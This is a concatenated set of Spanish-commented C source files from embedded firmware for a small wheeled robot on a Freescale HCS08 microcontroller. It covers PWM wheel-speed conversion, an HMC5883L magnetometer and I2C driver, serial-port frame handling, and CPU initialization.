bufferAdd. @param BufferAdd es el buffer (struct bufferStruct) que contendra los datos a almacenar. @returns data Parametro uint8_t con el valor 1 si el proceso fue exitoso, 0 si no lo fue. */ uint8_t setBufferOnBuffer(BufferStruct* BufferGet, BufferStruct* BufferAdd); /** @brief obtiene puntero de la estructura executingVector. @returns uint8_t con el valor del puntero. */ uint8_t getExecutingVectorPointer(void); /** @brief inicializa el vector de ejecucion. */ void initExecutingVector(void); /** @brief obtiene una funcion del vector de ejecucion apartir de un indice. @param position indice en el cual buscar la funcion. @returns functionStruct puntero a funcion requerida del vector de ejecucion. */ FunctionStruct* getFromExecutingVectorOnIndex(uint8_t position); //FunctionStruct* getChildOf(uint8_t); /** @brief devuelve 1 si hay datos en el buffer y 0 si no lo hay. @param BufferStruct puntero al buffer al cual queremos verificar. @returns valor 1 o 0 dependiendo si hay o no datos en el buffer. */ uint8_t isDataAvailable(BufferStruct *); /** @brief agrega una funcion al vector de ejecucion. @param FunctionStruct funcion a agregar al vector. @returns FunctionStruct retorna puntero a la funcion agregada al vector. */ FunctionStruct* setFunctionToExecutingVector(FunctionStruct); #endif<file_sep>/Soft V1.0/Firmware 1.0/Sources/VelocidadAngular.c #include "VelocidadAngular.h" /** \file velocidad_angular.c */ /** \def WHEEL_RADIUS * \brief Radio de las ruedas del robot en mil&iacute;metros. * \hideinitializer */ #define WHEEL_RADIUS 39 /** \def HALF_WHEEL_DISTANCE * \brief Mitad de la distancia entre las ruedas del robot mil&iacute;metros. * \hideinitializer */ #define HALF_WHEEL_DISTANCE 60 #define MAX_LEFT_WHEEL_PWM 255 #define MAX_RIGHT_WHEEL_PWM 255 #define MIN_LEFT_WHEEL_PWM 50 #define MIN_RIGHT_WHEEL_PWM 50 #define THRESHOLD_LEFT_WHEEL_PWM 18 #define THRESHOLD_RIGHT_WHEEL_PWM 16 #define MAX_TANGENTIAL_SPEED 116 /** \def MAX_WHEEL_ANGULAR_SPEED * \brief M&aacute;xima velocidad angular de los motores en miliradianes por * segundo. * \hideinitializer * * Si n es la cantidad de vueltas por segundo que pueden lograr los motores * entonces MAX_WHEEL_ANGULAR_SPEED se define como \f$2*\pi*n*1000\f$. Se * debe usar la m&aacute;xima velocidad real, no la nominal. */ #define MAX_WHEEL_ANGULAR_SPEED ((int32_t)MAX_TANGENTIAL_SPEED*1000/WHEEL_RADIUS) /// \cond #define ABS( x ) ( ( ( x ) < 0 ) ? -( x ) : ( x ) ) /// \endcond //---------------------------------------------------------------- // // Funciones privadas // //---------------------------------------------------------------- /** * \brief Convierte velocidad tangencial y angular del robot en velocidad * angular de las ruedas. * \param tangential_speed Velocidad tangencial del robot expresada en [mm/s] * \param angular_speed Velocidad angular del robot expresada en [mrad/s]. * Ej: PI[rad/s] = 3142[mrad/s] * \param left_wheel_angular_speed Puntero a la direcci&oacute;n donde se * devolver&aacute; la velocidad angular de la rueda izquierda * \param right_wheel_angular_speed Puntero a la direcci&oacute;n donde se * devolver&aacute; la velocidad angular de la rueda derecha */ void _robot_speed_to_wheel_speed( /* parametros */ int16_t tangential_speed, int16_t angular_speed, int32_t *left_wheel_angular_speed, int32_t *right_wheel_angular_speed ) { /* variables */ /* velocidad angular de una rueda hipotetica ubicada en el centro del * robot */ int32_t mw_ang_speed; mw_ang_speed = (int32_t)tangential_speed * 1000 / WHEEL_RADIUS; /* [mrad/s] */ *left_wheel_angular_speed =mw_ang_speed + (angular_speed * HALF_WHEEL_DISTANCE + ( WHEEL_RADIUS >> 1 ) ) / WHEEL_RADIUS; /* [mrad/s] */ *right_wheel_angular_speed =mw_ang_speed - (angular_speed * HALF_WHEEL_DISTANCE + ( WHEEL_RADIUS >> 1 ) ) / WHEEL_RADIUS; /* [mrad/s] */ } /** * \brief Convierte la velocidad angular de las ruedas a valores PWM. * \return Retorna un valor negativo si hay un error. Si no, el bit menos * significativo representa el sentido del giro de la rueda izquierda y el * segundo menos significativo representa el sentido la rueda derecha. En * ambos casos, 0 significa hacia adelante y uno hacia atr&aacute;s. */ static int _wheel_speed_to_pwm( /* parametros */ int32_t left_wheel_angular_speed, int32_t right_wheel_angular_speed, uint8_t *left_wheel_pwm, uint8_t *right_wheel_pwm ) { /* variables */ int sentidos = 0; int32_t lw_pwm; int32_t rw_pwm; lw_pwm = ( ( ABS( left_wheel_angular_speed ) * MAX_LEFT_WHEEL_PWM + ( MAX_WHEEL_ANGULAR_SPEED >> 1 ) ) / MAX_WHEEL_ANGULAR_SPEED ); rw_pwm = ( ( ABS( right_wheel_angular_speed ) * MAX_RIGHT_WHEEL_PWM + ( MAX_WHEEL_ANGULAR_SPEED >> 1 ) ) / MAX_WHEEL_ANGULAR_SPEED ); /* si la velocidad de alguna de las ruedas es mayor que la maxima, * reducir ambas velocidades manteniendo la relacion */ if( lw_pwm > MAX_LEFT_WHEEL_PWM ) { rw_pwm = ( rw_pwm * MAX_LEFT_WHEEL_PWM + ( lw_pwm >> 1 ) ) / lw_pwm; lw_pwm = MAX_LEFT_WHEEL_PWM; } if( rw_pwm > MAX_RIGHT_WHEEL_PWM ) { lw_pwm = ( lw_pwm * MAX_RIGHT_WHEEL_PWM + ( rw_pwm >> 1 ) ) / rw_pwm; rw_pwm = MAX_RIGHT_WHEEL_PWM; } /* si la velocidad de la rueda izquierda */ if( lw_pwm < THRESHOLD_LEFT_WHEEL_PWM ) { lw_pwm = 0; /* si la velocidad de la rueda izquierda es menor que la minima, * aumentar ambas velocidades manteniendo la relacion */ } else if( lw_pwm < MIN_LEFT_WHEEL_PWM ) { rw_pwm = ( rw_pwm * MIN_LEFT_WHEEL_PWM + ( lw_pwm >> 1 ) ) / lw_pwm; if( rw_pwm > MAX_RIGHT_WHEEL_PWM ) rw_pwm = MAX_RIGHT_WHEEL_PWM; lw_pwm = MIN_LEFT_WHEEL_PWM; } if( rw_pwm < THRESHOLD_RIGHT_WHEEL_PWM ) { rw_pwm = 0; } else if( rw_pwm < MIN_RIGHT_WHEEL_PWM ) { lw_pwm = ( lw_pwm * MIN_RIGHT_WHEEL_PWM + ( rw_pwm >> 1 ) ) / rw_pwm; if( lw_pwm > MAX_LEFT_WHEEL_PWM ) lw_pwm = MAX_LEFT_WHEEL_PWM; rw_pwm = MIN_RIGHT_WHEEL_PWM; } *left_wheel_pwm = lw_pwm; *right_wheel_pwm = rw_pwm; /* determinar el sentido del giro */ if( left_wheel_angular_speed < 0 ) sentidos |= 0x01; if( right_wheel_angular_speed < 0 ) sentidos |= 0x02; return sentidos; } //---------------------------------------------------------------- // // Funciones publicas // //---------------------------------------------------------------- /** * \brief Convierte velocidad tangencial y angular del robot en valores PWM. * \param tangential_speed Velocidad tangencial del robot en [mm/s]. * \param angular_speed Velocidad angular del robot en [mrad/s]. * \param left_wheel_pwm Puntero a la direcci&oacute;n donde se * devolver&aacute; el valor PWM para la rueda izquierda. * \param right_wheel_pwm Puntero a la direcci&oacute;n donde se * devolver&aacute; el valor PWM para la rueda derecha. * \return Retorna un valor negativo si hay un error. Si no, el bit menos significativo * representa el sentido del giro de la rueda izquierda y el segundo menos significativo * representa el sentido la rueda derecha. En ambos casos, 0 significa hacia * adelante y uno hacia atr&aacute;s. * * Si la velocidad deseada no es soportada por los motores, entonces se * preserva el radio de giro, reduciendo la velocidad de ambas ruedas * proporcionalmente. */ int robot_speed_to_pwm( /* parametros */ int16_t tangential_speed, int16_t angular_speed, uint8_t *left_wheel_pwm, uint8_t *right_wheel_pwm ) { /* variables */ int32_t lw_angular_speed; int32_t rw_angular_speed; /* transformar velocidades tangencial y angular del robot, en velocidades angulares de las ruedas */ _robot_speed_to_wheel_speed( tangential_speed, angular_speed, &lw_angular_speed, &rw_angular_speed ); /* transforamar velocidades angulares de las ruedas en pwm */ return _wheel_speed_to_pwm( lw_angular_speed, rw_angular_speed, left_wheel_pwm, right_wheel_pwm ); } <file_sep>/Backup/Soft V1.0/Firmware 1.0/Sources/Comunicacion.h #include "Config.h" #ifndef _Comunicacion_h #define _Comunicacion_h #endif //Definicion estados MEF uint8_t STATUS_MEF; #define MEF_WAIT 0x01 #define MEF_START 0x02 #define MEF_FUNCTION 0x03 #define MEF_N_BYTES 0x04 #define MEF_DATA 0x05 #define MEF_TIME_OUT 0x06 #define MEF_ERROR 0x07 #define FUNCTION_ID 0x7F //Definiciones Trama de datos #define FRAME_START 0xAA #define DATA_IN_SIZE 0x1D; //Definicion variables static uint8_t nBytes; uint8_t function; static uint8_t singleData; static uint8_t nData[30]; static uint8_t dataPointer=0; static uint8_t txDataLength=0; //Definicion de estructuras BufferStruct bufferTx; extern BufferStruct bufferRx; //Definicion de funciones void SendByte(byte); interrupt VectorNumber_Vsci1rx void RxInterrupt (void); interrupt VectorNumber_Vsci1tx void TxInterrupt (void); void beginComunication(); void putDataIntoBuffer(void); void sendDataAvailable (void); void frameGenerator(void); <file_sep>/Soft V1.0/Firmware 1.0/Sources/HMC5883L.c /*==================[inclusions]=============================================*/ #include "HMC5883L.h" /*==================[macros and definitions]=================================*/ /*==================[internal data declaration]==============================*/ /*==================[internal functions declaration]=========================*/ /*==================[internal data definition]===============================*/ int m_Scale; /*==================[external data definition]===============================*/ /*==================[internal functions definition]==========================*/ /*==================[external functions definition]==========================*/ void HMC5883L() { m_Scale = 1; MPU6050_setI2CMasterModeEnabled(FALSE); MPU6050_setI2CBypassEnabled(TRUE) ; MPU6050_setSleepEnabled(FALSE); } MagnetometerRaw HMC5883L_ReadRawAxis() { uint8_t buffer[10]; MagnetometerRaw raw; IICReadNBytes(HMC5883L_Address,DataRegisterBegin,6,&buffer); raw.XAxis = (buffer[0] << 8) | buffer[1]; raw.ZAxis = (buffer[2] << 8) | buffer[3]; raw.YAxis = (buffer[4] << 8) | buffer[5]; return raw; } MagnetometerScaled HMC5883L_ReadScaledAxis() { long aux; MagnetometerScaled scaled ; MagnetometerRaw raw = HMC5883L_ReadRawAxis(); aux=raw.XAxis * m_Scale; scaled.XAxis = aux/10; aux=raw.ZAxis * m_Scale; scaled.ZAxis = aux/10; aux=raw.YAxis * m_Scale; scaled.YAxis = aux/10; return scaled; } void HMC5883L_SetScale(int gauss) { uint8_t regValue = 0x00; if(gauss == 88) { regValue = 0x00; m_Scale = 73; } else if(gauss == 130) { regValue = 0x01; m_Scale = 92; } else if(gauss == 190) { regValue = 0x02; m_Scale = 122; } else if(gauss == 250) { regValue = 0x03; m_Scale = 152; } else if(gauss == 400) { regValue = 0x04; m_Scale = 227; } else if(gauss == 470) { regValue = 0x05; m_Scale = 256; } else if(gauss == 560) { regValue = 0x06; m_Scale = 303; } else if(gauss == 810) { regValue = 0x07; m_Scale = 435; } // Setting is in the top 3 bits of the register. regValue = regValue << 5; IICWriteRegister(HMC5883L_Address,ConfigurationRegisterB, regValue); } void HMC5883L_SetMeasurementMode(uint8_t mode) { IICWriteRegister(HMC5883L_Address,ModeRegister, mode); } void GetHMC5883LRawMeasure(uint8_t* buffer){ MPU6050(); HMC5883L(); HMC5883L_SetScale(13); HMC5883L_SetMeasurementMode(Measurement_Continuous); IICReadNBytes(HMC5883L_Address,DataRegisterBegin,6,buffer); } /*==================[end of file]============================================*/<file_sep>/Soft V1.0/Firmware 1.0/Sources/HMC5883L.h #ifndef HMC5883L_h #define HMC5883L_h /*==================[inclusions]=============================================*/ #include "IICModule.h" #include "MPU6050.h" /*==================[macros]=================================================*/ #define HMC5883L_Address 0x1E #define ConfigurationRegisterA 0x00 #define ConfigurationRegisterB 0x01 #define ModeRegister 0x02 #define DataRegisterBegin 0x03 #define Measurement_Continuous 0x00 #define Measurement_SingleShot 0x01 #define Measurement_Idle 0x03 #define ErrorCode_1 "Entered scale was not valid, valid gauss values are: 0.88, 1.3, 1.9, 2.5, 4.0, 4.7, 5.6, 8.1" #define ErrorCode_1_Num 1 /*==================[typedef]================================================*/ typedef struct { int XAxis; int YAxis; int ZAxis; }MagnetometerScaled; typedef struct { int XAxis; int YAxis; int ZAxis; }MagnetometerRaw; /*==================[external data declaration]==============================*/ /*==================[external functions declaration]=========================*/ MagnetometerRaw HMC5883L_ReadRawAxis(); MagnetometerScaled HMC5883L_ReadScaledAxis(); void HMC5883L_SetScale(int); void HMC5883L_SetMeasurementMode(uint8_t ); void HMC5883L_Write(int , int ); uint8_t* HMC5883L_Read(int, int); void GetHMC5883LRawMeasure(uint8_t*); /*==================[end of file]============================================*/ #endif<file_sep>/Soft V1.0/Firmware 1.0/Sources/IICModule.c /*==================[inclusions]=============================================*/ #include "IICModule.h" /*==================[macros and definitions]=================================*/ #define REPEAT_START IICC_RSTA=1 /*==================[internal data declaration]==============================*/ /*==================[internal functions declaration]=========================*/ void IIC1_Init(void); void IIC_Start(void); void IIC_Stop(void); void IIC_Delay (void); /*==================[internal data definition]===============================*/ /*==================[external data definition]===============================*/ /*==================[internal functions definition]==========================*/ void IIC1_Init(void) { IICF_MULT=0x00; IICF_ICR=0x20; //100kHz IICC1_IICEN=1; } void IIC_Start(void){ (void)(IICS==0); IICC_IICEN=1; IICC_TX=1; IICC_MST = 1; } void IIC_Stop(void){ IICC1_MST = 0; // generate STOP condition; IICC_IICEN=0; } byte IIC_read_byte(Bool more) { unsigned int time=40000; uint8_t RD_data,error; IICC1_TX = 0; // set up to receive; if(more==TRUE){ IICC1_TXAK = 0; }else{ IICC1_TXAK = 1; } RD_data = IICD; // dummy read; while (!IICS_IICIF){ time--; } IICS_IICIF=1; // clear the interrupt event flag; if(time==0){ error=1; }else{ RD_data = IICD; } return RD_data; } void IIC_write_byte(byte* data) { int i=0,time=10000; //-------start of transmit first byte to IIC bus----- IICD = *data; while (!IICS_IICIF){ time--; } IICS_IICIF=1; // clear the interrupt event flag; while(IICS_RXAK){ // check for RXAK; } } void IIC_Delay (void){ unsigned int t=8; //10uS while(t!=0){ t--; } } /*==================[external functions definition]==========================*/ void IICWriteRegister(byte address,byte reg,byte data){ uint8_t dato; IIC_Start(); IIC_Delay(); dato=(address<<1)|0x00; IIC_write_byte(&dato); dato=reg; IIC_write_byte(&dato); dato=data; IIC_write_byte(&dato); IIC_Stop(); } void IICReadByte(byte address,byte reg,byte* data){ uint8_t dato; IIC_Start(); dato=(address<<1)|0x00; IIC_write_byte(&dato); dato=reg; IIC_write_byte(&dato); REPEAT_START; dato=(address<<1)|0x01; IIC_write_byte(&dato); *data=IIC_read_byte(FALSE); IIC_Delay(); IIC_Stop(); } void IICReadNBytes(byte address,byte reg,byte n,byte* data){ uint8_t dato; byte i=0; i=0; IIC_Start(); dato=(address<<1)|0x00; IIC_write_byte(&dato); dato=reg; IIC_write_byte(&dato); REPEAT_START; dato=(address<<1)|0x01; IIC_write_byte(&dato); while(i<n-1){ data[i]=IIC_read_byte(TRUE); i++; } data[i]=IIC_read_byte(FALSE); IIC_Stop(); } void IICWriteBit(uint8_t address,uint8_t reg,uint8_t nbit,Bool state){ uint8_t regSetValue=0,regActualValue; IICReadByte(address,reg,&regActualValue); if(state==TRUE){ regSetValue=0x01; regSetValue=regSetValue<<nbit; regSetValue=regSetValue | regActualValue; }else{ regSetValue=0xFE; regSetValue=regSetValue<<nbit; regSetValue=regSetValue & regActualValue; } IICWriteRegister(address,reg,regSetValue); } void IICWriteBits(uint8_t devAddr, uint8_t regAddr, uint8_t bitStart, uint8_t length, uint8_t data){ uint8_t b,mask; IICReadByte(devAddr, regAddr, &b); mask = ((1 << length) - 1) << (bitStart - length + 1); data <<= (bitStart - length + 1); // shift data into correct position data &= mask; // zero all non-important bits in data b &= ~(mask); // zero all important bits in existing byte b |= data; // combine data with existing byte IICWriteRegister(devAddr, regAddr, b); } /*==================[end of file]============================================*/ <file_sep>/Backup/Soft V1.0/Firmware 1.0/Sources/RTCmodule.c #include "RTCmodule.h" interrupt VectorNumber_Vrtc void RTCInterrupt (void){ uint8_t i=0; RTCSC=RTCSC|0x80; /*time++; if(time==100){ setToBuffer(0x04,&bufferOut); setToBuffer(time,&bufferOut); time=0; } */ for(i=0;i<=getExecutingVectorPointer();i++){ decreaseTimer(getFromExecutingVectorOnIndex(i)); } } void decreaseTimer(FunctionStruct* currentFunction){ if((currentFunction->status==RUNNING)&&(currentFunction->timerCount==0)){ currentFunction->status=TIMEOUT; } if(currentFunction->status==RUNNING&&currentFunction->timerCount>0){ currentFunction->timerCount=currentFunction->timerCount-1; } } <file_sep>/Soft V1.0/Firmware 1.0/Sources/IICModule.h #ifndef IICMODULE_H #define IICMODULE_H /*==================[inclusions]=============================================*/ //#include "Linker.h" #include <stdint.h> #include <hidef.h> /* for EnableInterrupts macro */ #include "derivative.h" /* include peripheral declarations */ /*==================[macros]=================================================*/ /*==================[typedef]================================================*/ /*==================[external data declaration]==============================*/ /*==================[external functions declaration]=========================*/ extern void IICReadByte(byte,byte,byte*); extern void IICReadNBytes(byte,byte,byte,byte*); extern void IICWriteRegister(byte,byte,byte); extern void IICWriteBit(uint8_t,uint8_t,uint8_t,Bool); extern void IICWriteBits(uint8_t,uint8_t,uint8_t,uint8_t,uint8_t); /*==================[end of file]============================================*/ #endif /* #ifndef TEMPLATE_FILE_H */<file_sep>/Soft V1.0/Config/CODE/Cpu.c /** ################################################################### ** THIS COMPONENT MODULE IS GENERATED BY THE TOOL. DO NOT MODIFY IT. ** Filename : Cpu.C ** Project : Config ** Processor : MC9S08JM16CGT ** Component : MC9S08JM16_48 ** Version : Component 01.003, Driver 01.35, CPU db: 3.00.045 ** Datasheet : MC9S08JM16 Rev. 2 5/2008 ** Compiler : CodeWarrior HCS08 C Compiler ** Date/Time : 08/07/2015, 07:46 p.m. ** Abstract : ** This bean "MC9S08JM16_48" contains initialization of the ** CPU and provides basic methods and events for CPU core ** settings. ** Settings : ** ** Contents : ** EnableInt - void Cpu_EnableInt(void); ** DisableInt - void Cpu_DisableInt(void); ** ** Copyright : 1997 - 2009 Freescale Semiconductor, Inc. All Rights Reserved. ** ** http : www.freescale.com ** mail : <EMAIL> ** ###################################################################*/ /* MODULE Cpu. */ #pragma MESSAGE DISABLE C4002 /* WARNING C4002: Result not used is ignored */ #include "SCI3.h" #include "PE_Types.h" #include "PE_Error.h" #include "PE_Const.h" #include "IO_Map.h" #include "Events.h" #include "Cpu.h" /* Global variables */ volatile byte CCR_reg; /* Current CCR register */ /* ** =================================================================== ** Method : Cpu_Interrupt (component MC9S08JM16_48) ** ** Description : ** The method services unhandled interrupt vectors. ** This method is internal. It is used by Processor Expert only. ** =================================================================== */ ISR(Cpu_Interrupt) { /* This code can be changed using the CPU bean property "Build Options / Unhandled int code" */ asm(BGND); } /* ** =================================================================== ** Method : Cpu_DisableInt (component MC9S08JM16_48) ** ** Description : ** Disables maskable interrupts ** Parameters : None ** Returns : Nothing ** =================================================================== */ /* void Cpu_DisableInt(void) ** This method is implemented as macro in the header module. ** */ /* ** =================================================================== ** Method : Cpu_EnableInt (component MC9S08JM16_48) ** ** Description : ** Enables maskable interrupts ** Parameters : None ** Returns : Nothing ** =================================================================== */ /* void Cpu_EnableInt(void) ** This method is implemented as macro in the header module. ** */ /* ** =================================================================== ** Method : _EntryPoint (component MC9S08JM16_48) ** ** Description : ** Initializes the whole system like timing and so on. At the end ** of this function, the C startup is invoked to initialize stack, ** memory areas and so on. ** This method is internal. It is used by Processor Expert only. ** =================================================================== */ extern void _Startup(void); /* Forward declaration of external startup function declared in file Start12.c */ #pragma NO_FRAME #pragma NO_EXIT void _EntryPoint(void) { /* ### MC9S08JM16_48 "Cpu" init code ... */ /* PE initialization code after reset */ /* Common initialization of the write once registers */ /* SOPT1: COPT=0,STOPE=0,??=1,??=0,??=0,??=1,??=1 */ setReg8(SOPT1, 0x13); /* SPMSC1: LVWF=0,LVWACK=0,LVWIE=0,LVDRE=1,LVDSE=1,LVDE=1,??=0,BGBE=0 */ setReg8(SPMSC1, 0x1C); /* SPMSC2: ??=0,??=0,LVDV=0,LVWV=0,PPDF=0,PPDACK=0,??=0,PPDC=0 */ setReg8(SPMSC2, 0x00); /* System clock initialization */ if (*(unsigned char*)0xFFAF != 0xFF) { /* Test if the device trim value is stored on the specified address */ MCGTRM = *(unsigned char*)0xFFAF; /* Initialize MCGTRM register from a non volatile memory */ MCGSC = *(unsigned char*)0xFFAE; /* Initialize MCGSC register from a non volatile memory */ } /* MCGC2: BDIV=0,RANGE=0,HGO=0,LP=0,EREFS=0,ERCLKEN=0,EREFSTEN=0 */ setReg8(MCGC2, 0x00); /* Set MCGC2 register */ /* MCGC1: CLKS=0,RDIV=0,IREFS=1,IRCLKEN=1,IREFSTEN=0 */ setReg8(MCGC1, 0x06); /* Set MCGC1 register */ /* MCGC3: LOLIE=0,PLLS=0,CME=0,??=0,VDIV=1 */ setReg8(MCGC3, 0x01); /* Set MCGC3 register */ while(!MCGSC_LOCK) { /* Wait until FLL is locked */ } /*** End of PE initialization code after reset ***/ __asm jmp _Startup ; /* Jump to C startup code */ } /* ** =================================================================== ** Method : PE_low_level_init (component MC9S08JM16_48) ** ** Description : ** Initializes beans and provides common register initialization. ** The method is called automatically as a part of the ** application initialization code. ** This method is internal. It is used by Processor Expert only. ** =================================================================== */ void PE_low_level_init(void) { /* Common initialization of the CPU registers */ /* PTASE: PTASE5=0,PTASE0=0 */ clrReg8Bits(PTASE, 0x21); /* PTBSE: PTBSE5=0,PTBSE4=0,PTBSE3=0,PTBSE2=0,PTBSE1=0,PTBSE0=0 */ clrReg8Bits(PTBSE, 0x3F); /* PTCSE: PTCSE5=0,PTCSE4=0,PTCSE3=0,PTCSE2=0,PTCSE1=0,PTCSE0=0 */ clrReg8Bits(PTCSE, 0x3F); /* PTDSE: PTDSE7=0,PTDSE2=0,PTDSE1=0,PTDSE0=0 */ clrReg8Bits(PTDSE, 0x87); /* PTESE: PTESE7=0,PTESE6=0,PTESE5=0,PTESE4=0,PTESE3=0,PTESE2=0,PTESE1=0,PTESE0=0 */ setReg8(PTESE, 0x00); /* PTFSE: PTFSE6=0,PTFSE5=0,PTFSE4=0,PTFSE1=0,PTFSE0=0 */ clrReg8Bits(PTFSE, 0x73); /* PTGSE: PTGSE5=0,PTGSE4=0,PTGSE3=0,PTGSE2=0,PTGSE1=0,PTGSE0=0 */ clrReg8Bits(PTGSE, 0x3F); /* PTADS: ??=0,??=0,PTADS5=1,??=0,??=0,??=0,??=0,PTADS0=1 */ setReg8(PTADS, 0x21); /* PTBDS: ??=0,??=0,PTBDS5=1,PTBDS4=1,PTBDS3=1,PTBDS2=1,PTBDS1=1,PTBDS0=1 */ setReg8(PTBDS, 0x3F); /* PTCDS: ??=0,??=0,PTCDS5=1,PTCDS4=1,PTCDS3=1,PTCDS2=1,PTCDS1=1,PTCDS0=1 */ setReg8(PTCDS, 0x3F); /* PTDDS: PTDDS7=1,??=0,??=0,??=0,??=0,PTDDS2=1,PTDDS1=1,PTDDS0=1 */ setReg8(PTDDS, 0x87); /* PTEDS: PTEDS7=1,PTEDS6=1,PTEDS5=1,PTEDS4=1,PTEDS3=1,PTEDS2=1,PTEDS1=1,PTEDS0=1 */ setReg8(PTEDS, 0xFF); /* PTFDS: ??=0,PTFDS6=1,PTFDS5=1,PTFDS4=1,??=0,??=0,PTFDS1=1,PTFDS0=1 */ setReg8(PTFDS, 0x73); /* PTGDS: ??=0,??=0,PTGDS5=1,PTGDS4=1,PTGDS3=1,PTGDS2=1,PTGDS1=1,PTGDS0=1 */ setReg8(PTGDS, 0x3F); /* ### Shared modules init code ... */ /* ### Init_SCI "SCI3" init code ... */ SCI3_Init(); __EI(); /* Enable interrupts */ } /* Initialization of the CPU registers in FLASH */ /* NVPROT: FPS7=1,FPS6=1,FPS5=1,FPS4=1,FPS3=1,FPS2=1,FPS1=1,FPDIS=1 */ const unsigned char NVPROT_INIT @0x0000FFBD = 0xFF; /* NVOPT: KEYEN=0,FNORED=1,??=1,??=1,??=1,??=1,SEC01=1,SEC00=0 */ const unsigned char NVOPT_INIT @0x0000FFBF = 0x7E; /* END Cpu. */ /* ** ################################################################### ** ** This file was created by Processor Expert 3.07 [04.34] ** for the Freescale HCS08 series of microcontrollers. ** ** ################################################################### */ <file_sep>/Backup/Soft V1.0/Firmware 1.0/Sources/main.c #include "Config.h" void main(void) { /* include your code here */ f1.functionId=0x01; f1.status=RUNNING; f1.root=UNIQUE_FUNCTION; f1.timerCount=50; DisableInterrupts; InitReg(); InitClock(); InitComunication(); InitInputCompare(); InitPorts(); InitRtc(); beginComunication(); initExecutingVector(); InitBuffer(&bufferIn); InitBuffer(&bufferOut); EnableInterrupts; for(;;) { functionHandler(); dispatcher(&executingVector,&bufferOut); frameGenerator(); //Sensor1(); } /* loop forever */ /* please make sure that you never leave main */ } <file_sep>/Soft V1.0/Firmware 1.0/Sources/SerialPort.c /*==================[inclusions]=============================================*/ #include "SerialPort.h" /*==================[macros and definitions]=================================*/ //Definiciones Trama de datos #define FRAME_START 0xAA #define DATA_IN_SIZE 0x1D; //COMUNICACION #define serialData SCI1D #define clockRegister(x,y) (y=SCI1BDL,x=SCI1BDH) #define enableTxInterrupt (SCI1C2_TCIE=1) #define enableRxInterrupt (SCI1C2_RIE=1) #define disableTxInterrupt (SCI1C2_TCIE=0) #define disableRxInterrupt (SCI1C2_RIE=0) #define statusSerialRegister1 SCI1S1 #define statusSerialRegister2 SCI1S2 /*==================[internal data declaration]==============================*/ static uint8_t nBytes; uint8_t function; static uint8_t dataPointer=0; static uint8_t txDataLength=0; uint8_t errorValue; BufferStruct bufferTx; BufferStruct bufferRx; /*==================[internal functions declaration]=========================*/ void SendByte(byte); void beginComunication(); /*==================[internal data definition]===============================*/ /*==================[external data definition]===============================*/ uint8_t STATUS_MEF=MEF_WAIT; /*==================[external functions definition]==========================*/ interrupt VectorNumber_Vsci1tx void TxInterrupt (void) { //rutina para enviar datos por interrupciones (void)statusSerialRegister1; //borra flags de interrupcion if(txDataLength>0&&isDataAvailable(&bufferTx)){ enableTxInterrupt; serialData=getFromBuffer(&bufferTx); txDataLength--; } else{ disableTxInterrupt; } return; } interrupt VectorNumber_Vsci1rx void RxInterrupt (void) { //Rutina para recepcion de datos por interrupciones byte inByte=0; (void) statusSerialRegister1; //borra flags de interrupcion inByte=serialData; if(serialErrorType==NO_ERROR){ if((inByte==FRAME_START)&&(STATUS_MEF==MEF_WAIT)){ STATUS_MEF=MEF_START; InitBuffer(&bufferRx); } else{ if((STATUS_MEF==MEF_DATA)&&(dataPointer<nBytes)){ setToBuffer(inByte,&bufferRx); dataPointer++; } if((STATUS_MEF==MEF_DATA)&&(dataPointer>=nBytes)){ STATUS_MEF=MEF_WAIT; dataPointer=0; setBufferOnBuffer(&bufferRx,&bufferIn); } if(STATUS_MEF==MEF_N_BYTES){ STATUS_MEF=MEF_DATA; setToBuffer(inByte,&bufferRx); dataPointer++; } if(STATUS_MEF==MEF_FUNCTION){ if(function>FUNCTION_ID){ nBytes=inByte; setToBuffer(inByte,&bufferRx); STATUS_MEF=MEF_N_BYTES; } else{ setToBuffer(inByte,&bufferRx); STATUS_MEF=MEF_WAIT; setBufferOnBuffer(&bufferRx,&bufferIn); } } if(STATUS_MEF==MEF_START){ STATUS_MEF=MEF_FUNCTION; function=inByte; setToBuffer(inByte,&bufferRx); } } }else{ serialErrorType==NO_ERROR; InitBuffer(&bufferRx); STATUS_MEF=MEF_WAIT; } } interrupt VectorNumber_Vsci1err void ErrorInterrupt (void) { uint8_t errorType=0; errorValue=SCI1S1; if((errorValue&0x02)==0x02){//FRAMMING serialErrorType=ERROR_FRAMMING; }else if((errorValue&0x01)==0x01){ //PARITY serialErrorType=ERROR_PARITY; } if(SCI1S2_LBKDIF==1){ errorType=ERROR_LINE_BREAK; initGlobalVariables(); } (void)(SCI1D==0); if(serialErrorType!=NO_ERROR){ setToBuffer(error, &bufferOut); setToBuffer(2,&bufferOut); setToBuffer(COMMUNICATION_ERROR, &bufferOut); setToBuffer(serialErrorType, &bufferOut); if(serialErrorType==ERROR_FRAMMING){ initGlobalVariables(); } } } void frameGenerator(){ uint8_t getByte,i=0,nbytes=0; if(isDataAvailable(&bufferOut)==1){ disableTxInterrupt; do{ // getByte=getFromBuffer(&bufferOut); if(getByte<=FUNCTION_ID){ setToBuffer(FRAME_START,&bufferTx); txDataLength++; setToBuffer(getByte,&bufferTx); txDataLength++; getByte=getFromBuffer(&bufferOut); setToBuffer(getByte,&bufferTx); txDataLength++; }else{ setToBuffer(FRAME_START,&bufferTx); txDataLength++; if(getByte==getMeasureResponse){ getByte=getMeasure; } setToBuffer(getByte,&bufferTx); txDataLength++; nbytes=getFromBuffer(&bufferOut); setToBuffer(nbytes,&bufferTx); txDataLength++; for(i=0;i<nbytes;i++){ getByte=getFromBuffer(&bufferOut); setToBuffer(getByte,&bufferTx); txDataLength++; } } }while(isDataAvailable(&bufferOut)==1); txDataLength=txDataLength-1; SendByte(getFromBuffer(&bufferTx)); } } /*==================[internal functions definition]==========================*/ /** @brief Envia una trama de datos por el puerto serial obtenida por el buffer de salida @param dato byte a ser enviado */ void SendByte(byte dato){ (void)statusSerialRegister1; serialData=dato; enableTxInterrupt; return; } /** @brief inicializa la MEF de recepcion de datos. */ void beginComunication(){ STATUS_MEF=MEF_WAIT; }<file_sep>/Soft V1.0/Firmware 1.0/Sources/SerialPort.h #ifndef SERIALPORT_H_ #define SERIALPORT_H_ /*==================[inclusions]=============================================*/ #include "Linker.h" /*==================[macros]=================================================*/ /*==================[typedef]================================================*/ /*==================[external data declaration]==============================*/ extern uint8_t STATUS_MEF; /*==================[external functions declaration]=========================*/ /** @brief Rutina de interrupcion que envia los datos. */ interrupt VectorNumber_Vsci1rx void RxInterrupt (void); /** @brief Rutina de interrupcion que recibe los datos. */ interrupt VectorNumber_Vsci1tx void TxInterrupt (void); /** @brief Borra los flags de interrupcion. */ interrupt VectorNumber_Vsci1err void ErrorInterrupt (void); 